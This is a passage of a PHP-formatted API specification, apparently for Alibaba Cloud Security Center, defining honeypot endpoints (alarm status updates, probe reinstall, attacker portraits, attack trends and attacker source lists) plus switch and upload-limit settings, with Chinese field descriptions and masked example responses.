\\"CAESGgoSChAKDGNvbXBsZXRlVGltZRABCgQiAggAGAAiQAoJAGYXFWIAAAAACjMDLgAAADFTNzMyZDMwMzAzMDM1Mzc3Njc4MzA2ODY5NmI2YTY*********\\",\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"RequestId\\": \\"FBD28009-6096-5E90-BFE6-62CCD67*****\\"\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击事件列表', + ], + 'UpdateAlarmEvent' => [ + 'summary' => '更新蜜罐安装时间的状态。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'AlarmEventIdList', + 'in' => 'formData', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '告警事件的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '945801', + ], + 'required' => false, + 'maxItems' => 10, + ], + ], + [ + 'name' => 'OperationCode', + 'in' => 'formData', + 'schema' => [ + 'description' => '告警事件的处理方式。取值：'."\n" + ."\n" + .'- **manual_handled**：已处理'."\n" + .'- **ignore**：忽略'."\n" + .'- **cancel_ignore**：取消加白', + 'type' => 'string', + 'required' => false, + 'example' => 'ignore', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'formData', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值包括：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AC1E0E53-DEF3-5D96-B170-19130EA****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"AC1E0E53-DEF3-5D96-B170-19130EA****\\"\\n}","type":"json"}]', + 'title' => '修改蜜罐告警状态', + ], + 'RetryInstallProbe' => [ + 'summary' => '重试安装蜜罐探针。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '133459', + 'abilityTreeNodes' => [ + 'FEATUREsasE5WAEJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'ProbeId', + 'in' => 'query', + 'schema' => [ + 'title' => '探针id', + 'description' => '探针ID。'."\n" + .'>调用[ListHoneypotProbe](~~ListHoneypotProbe~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c4c47cc1-f60a-4b2f-bcdb-9aed6644****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4247271-7C31-5A54-9EA1-658D96ED****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'AgentNotOnline', + 'errorMessage' => 'The agent not online.', + ], + [ + 'errorCode' => 'MachineNotExist', + 'errorMessage' => 'The machine does not exist.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4247271-7C31-5A54-9EA1-658D96ED****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '重试安装蜜罐探针', + ], + 'ListHoneypotAttackerPortrait' => [ + 'summary' => '根据源IP获取攻击者的画像信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '158250', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'StartTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'start time', + 'description' => '开始时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1672249044000', + ], + ], + [ + 'name' => 'EndTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'end time', + 'description' => '结束时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1672285044000', + ], + ], + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'title' => 'source ip', + 'description' => '攻击源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '101.133.155.***', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '按页返回的结果数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '攻击者画像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击者画像详情。', + 'type' => 'object', + 'properties' => [ + 'PortraitId' => [ + 'description' => '攻击者画像ID。', + 'type' => 'string', + 'example' => 'cd48604a-1694-4f03-ade0-ec6994c3****', + ], + 'AttackCount' => [ + 'description' => '攻击次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1679896965', + ], + 'Host' => [ + 'description' => '攻击源的主机信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击源的主机信息。', + 'type' => 'string', + 'example' => '{"memory":0,"os":"macOS 10.15.7","cpuConcurrency":4,"fonts":["Apple Braille","AppleGothic","Khmer MN","Avenir","Charter","Luminari","PingFang SC","Sukhumvit Set","Rockwell","Plantagenet Cherokee"],"touchSupport":false,"timezone":"Asia/Shanghai","language":"zh-CN","screenResolution":[2560,1440],"render":"ANGLE (Intel Inc., Intel(R) Iris(TM) Plus *** 655, OpenGL 4.1)","hasUnity":false}', + ], + ], + 'Browser' => [ + 'description' => '攻击源的浏览器信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击源的浏览器信息。', + 'type' => 'string', + 'example' => '{"is_private":false,"bitness":"","os":"macOS 10.15.7","mobile":false,"webgl_fp2":"487f7b22f68312d2c1bbc93b1*****","fp2":"8b41770fa2b46121dc108801dc3*****","webgl_fp":"487f7b22f68312d2c1bbc93b1*****","version":"107.0.0.0","tid":"s:16697072420106186d4-82704-41d5e3.7c97b18aac8b09ab3eba4584df01df8411fc3d62fc93f3a11ad2431905*****","versionNumber":107,"canvas_fp":"62d2e519ad32dac4da26528fad*****","chrome_ext":[],"name":"Chrome","model":"","arch":"","canvasFingerprint":"62d2e519ad32dac4da26528fad*****","canvas_fp2":"62d2e519ad32dac4da26528fa*****9"}'."\n" + ."\n", + ], + ], + 'Social' => [ + 'description' => '攻击源的社交信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击源的社交信息。', + 'type' => 'string', + 'example' => '{"baidu":{"valid":true,"data":{"avatar":"https://himg.bdimg.com/sys/portrait/item/public.1.*****.lzyz1JkgdUw******","userName":"山的****994"}}}', + ], + ], + 'Network' => [ + 'description' => '攻击源的网络信息。', + 'type' => 'object', + 'properties' => [ + 'ExternalIp' => [ + 'description' => '公网IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '公网IP地址。', + 'type' => 'string', + 'example' => '39.105.62.***', + ], + ], + 'RealIp' => [ + 'description' => '真实IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '真实IP地址。', + 'type' => 'string', + 'example' => '223.104.150.***', + ], + ], + 'InternalIp' => [ + 'description' => '私网IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '私网IP地址。', + 'type' => 'string', + 'example' => '172.17.6.***', + ], + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8A5A2DA6-67EA-5968-960F-6B20FD0C*****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"PortraitId\\": \\"cd48604a-1694-4f03-ade0-ec6994c3****\\",\\n \\"AttackCount\\": 10,\\n \\"LastTime\\": 1679896965,\\n \\"Host\\": [\\n \\"{\\\\\\"memory\\\\\\":0,\\\\\\"os\\\\\\":\\\\\\"macOS 10.15.7\\\\\\",\\\\\\"cpuConcurrency\\\\\\":4,\\\\\\"fonts\\\\\\":[\\\\\\"Apple Braille\\\\\\",\\\\\\"AppleGothic\\\\\\",\\\\\\"Khmer MN\\\\\\",\\\\\\"Avenir\\\\\\",\\\\\\"Charter\\\\\\",\\\\\\"Luminari\\\\\\",\\\\\\"PingFang SC\\\\\\",\\\\\\"Sukhumvit Set\\\\\\",\\\\\\"Rockwell\\\\\\",\\\\\\"Plantagenet Cherokee\\\\\\"],\\\\\\"touchSupport\\\\\\":false,\\\\\\"timezone\\\\\\":\\\\\\"Asia/Shanghai\\\\\\",\\\\\\"language\\\\\\":\\\\\\"zh-CN\\\\\\",\\\\\\"screenResolution\\\\\\":[2560,1440],\\\\\\"render\\\\\\":\\\\\\"ANGLE (Intel Inc., Intel(R) Iris(TM) Plus *** 655, OpenGL 4.1)\\\\\\",\\\\\\"hasUnity\\\\\\":false}\\"\\n ],\\n \\"Browser\\": [\\n \\"{\\\\\\"is_private\\\\\\":false,\\\\\\"bitness\\\\\\":\\\\\\"\\\\\\",\\\\\\"os\\\\\\":\\\\\\"macOS 10.15.7\\\\\\",\\\\\\"mobile\\\\\\":false,\\\\\\"webgl_fp2\\\\\\":\\\\\\"487f7b22f68312d2c1bbc93b1*****\\\\\\",\\\\\\"fp2\\\\\\":\\\\\\"8b41770fa2b46121dc108801dc3*****\\\\\\",\\\\\\"webgl_fp\\\\\\":\\\\\\"487f7b22f68312d2c1bbc93b1*****\\\\\\",\\\\\\"version\\\\\\":\\\\\\"107.0.0.0\\\\\\",\\\\\\"tid\\\\\\":\\\\\\"s:16697072420106186d4-82704-41d5e3.7c97b18aac8b09ab3eba4584df01df8411fc3d62fc93f3a11ad2431905*****\\\\\\",\\\\\\"versionNumber\\\\\\":107,\\\\\\"canvas_fp\\\\\\":\\\\\\"62d2e519ad32dac4da26528fad*****\\\\\\",\\\\\\"chrome_ext\\\\\\":[],\\\\\\"name\\\\\\":\\\\\\"Chrome\\\\\\",\\\\\\"model\\\\\\":\\\\\\"\\\\\\",\\\\\\"arch\\\\\\":\\\\\\"\\\\\\",\\\\\\"canvasFingerprint\\\\\\":\\\\\\"62d2e519ad32dac4da26528fad*****\\\\\\",\\\\\\"canvas_fp2\\\\\\":\\\\\\"62d2e519ad32dac4da26528fa*****9\\\\\\"}\\\\n\\\\n\\"\\n ],\\n \\"Social\\": [\\n \\"{\\\\\\"baidu\\\\\\":{\\\\\\"valid\\\\\\":true,\\\\\\"data\\\\\\":{\\\\\\"avatar\\\\\\":\\\\\\"https://himg.bdimg.com/sys/portrait/item/public.1.*****.lzyz1JkgdUw******\\\\\\",\\\\\\"userName\\\\\\":\\\\\\"山的****994\\\\\\"}}}\\"\\n ],\\n \\"Network\\": {\\n \\"ExternalIp\\": [\\n \\"39.105.62.***\\"\\n ],\\n \\"RealIp\\": [\\n \\"223.104.150.***\\"\\n ],\\n \\"InternalIp\\": [\\n \\"172.17.6.***\\"\\n ]\\n }\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 11\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8A5A2DA6-67EA-5968-960F-6B20FD0C*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击者画像', + ], + 'GetHoneypotEventTrend' => [ + 'summary' => '获取单个攻击源的攻击趋势统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'title' => 'source ip', + 'description' => '攻击源IP。', + 'type' => 'string', + 'required' => true, + 'example' => '10.91.254.***', + ], + ], + [ + 'name' => 'StartTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'start time', + 'description' => '开始时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1683516557757', + ], + ], + [ + 'name' => 'EndTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'end time', + 'description' => '结束时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1687831329169', + ], + ], + [ + 'name' => 'RiskLevelList', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'title' => 'risk level', + 'description' => '风险等级列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'required' => false, + 'example' => '4', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '返回的结果数据列表。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据详情。', + 'type' => 'object', + 'properties' => [ + 'KeyName' => [ + 'title' => 'trend key name', + 'description' => '攻击的名称。', + 'type' => 'string', + 'example' => 'ATTACK_EVENT', + ], + 'Count' => [ + 'title' => 'trend key count', + 'description' => '攻击事件发生的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TimeStamp' => [ + 'title' => 'trend key count', + 'description' => '攻击事件发生的时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1686968163644', + ], + ], + ], + ], + 'Count' => [ + 'description' => '返回条数', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求返回的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '21637690-9B21-5EEC-94DB-2A732480****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": [\\n {\\n \\"KeyName\\": \\"ATTACK_EVENT\\",\\n \\"Count\\": 5,\\n \\"TimeStamp\\": 1686968163644\\n }\\n ],\\n \\"Count\\": 5,\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"21637690-9B21-5EEC-94DB-2A732480****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击源攻击量趋势', + ], + 'ListHoneypotAttackerSource' => [ + 'summary' => '获取对蜜罐进行攻击的攻击源列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '158251', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'SrcIp', + 'in' => 'query', + 'schema' => [ + 'title' => 'source ip', + 'description' => '攻击源IP。', + 'type' => 'string', + 'required' => false, + 'example' => '175.136.230.***', + ], + ], + [ + 'name' => 'StartTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'start time', + 'description' => '开始时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1674007632124', + ], + ], + [ + 'name' => 'EndTimeStamp', + 'in' => 'query', + 'schema' => [ + 'title' => 'end time', + 'description' => '结束时间，时间戳格式。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1676945366221', + ], + ], + [ + 'name' => 'RiskLevelList', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'title' => 'risk level', + 'description' => '风险等级信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'required' => false, + 'example' => '3', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。默认值为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => '按页返回的结果数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '攻击源列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击源信息。', + 'type' => 'object', + 'properties' => [ + 'EventCount' => [ + 'description' => '攻击事件发生总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'LastTime' => [ + 'description' => '攻击事件最新发生时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1693446913000', + ], + 'LastTargetHoneypot' => [ + 'description' => '最新一次攻击的目标蜜罐。', + 'type' => 'string', + 'example' => 'vpc tcp 蜜罐', + ], + 'LastTargetIp' => [ + 'description' => '最新一次攻击的目标IP。', + 'type' => 'string', + 'example' => '144.23.66.***', + ], + 'SrcIp' => [ + 'description' => '攻击源IP。', + 'type' => 'string', + 'example' => '101.102.61.***', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **2**：低风险等级。'."\n" + .'- **3**：中风险等级。'."\n" + .'- **4**：高风险等级。', + 'type' => 'string', + 'example' => '2', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9915DC4D-B4DA-5140-8138-FD80636*****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"EventCount\\": 30,\\n \\"LastTime\\": 1693446913000,\\n \\"LastTargetHoneypot\\": \\"vpc tcp 蜜罐\\",\\n \\"LastTargetIp\\": \\"144.23.66.***\\",\\n \\"SrcIp\\": \\"101.102.61.***\\",\\n \\"RiskLevel\\": \\"2\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"9915DC4D-B4DA-5140-8138-FD80636*****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐攻击源分析列表', + ], + 'UpdateCommonSwitchConfig' => [ + 'summary' => '修改通用开关配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '168747', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '通用开关类型。'."\n" + .'>通过[ListClientUserDefineRules](~~ListClientUserDefineRules~~)、[ListSystemClientRules](~~ListSystemClientRules~~)接口的响应参数SwitchId可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'USER-DEFINE-RULE-SWITCH-TYPE_190****', + ], + ], + [ + 'name' => 'TargetDefault', + 'in' => 'query', + 'schema' => [ + 'description' => '默认是否生效。取值：'."\n" + ."\n" + .'- **add**：新增主机默认生效。'."\n" + .'- **del**：新增主机默认不生效。', + 'type' => 'string', + 'required' => false, + 'example' => 'add', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '655B538A-A31B-58F2-A3FB-2EF4390D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"655B538A-A31B-58F2-A3FB-2EF4390D****\\"\\n}","type":"json"}]', + 'title' => '修改开关配置', + ], + 'CreateFileUploadLimit' => [ + 'summary' => '创建客户端上传文件的QPS上限。', + 'methods' => [ + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '177850', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Limit', + 'in' => 'query', + 'schema' => [ + 'description' => '设置客户端上传文件的QPS限制阈值。取值范围：100~10000。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '100', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'result', + 'description' => 'result', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'requestId', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', + 'title' => 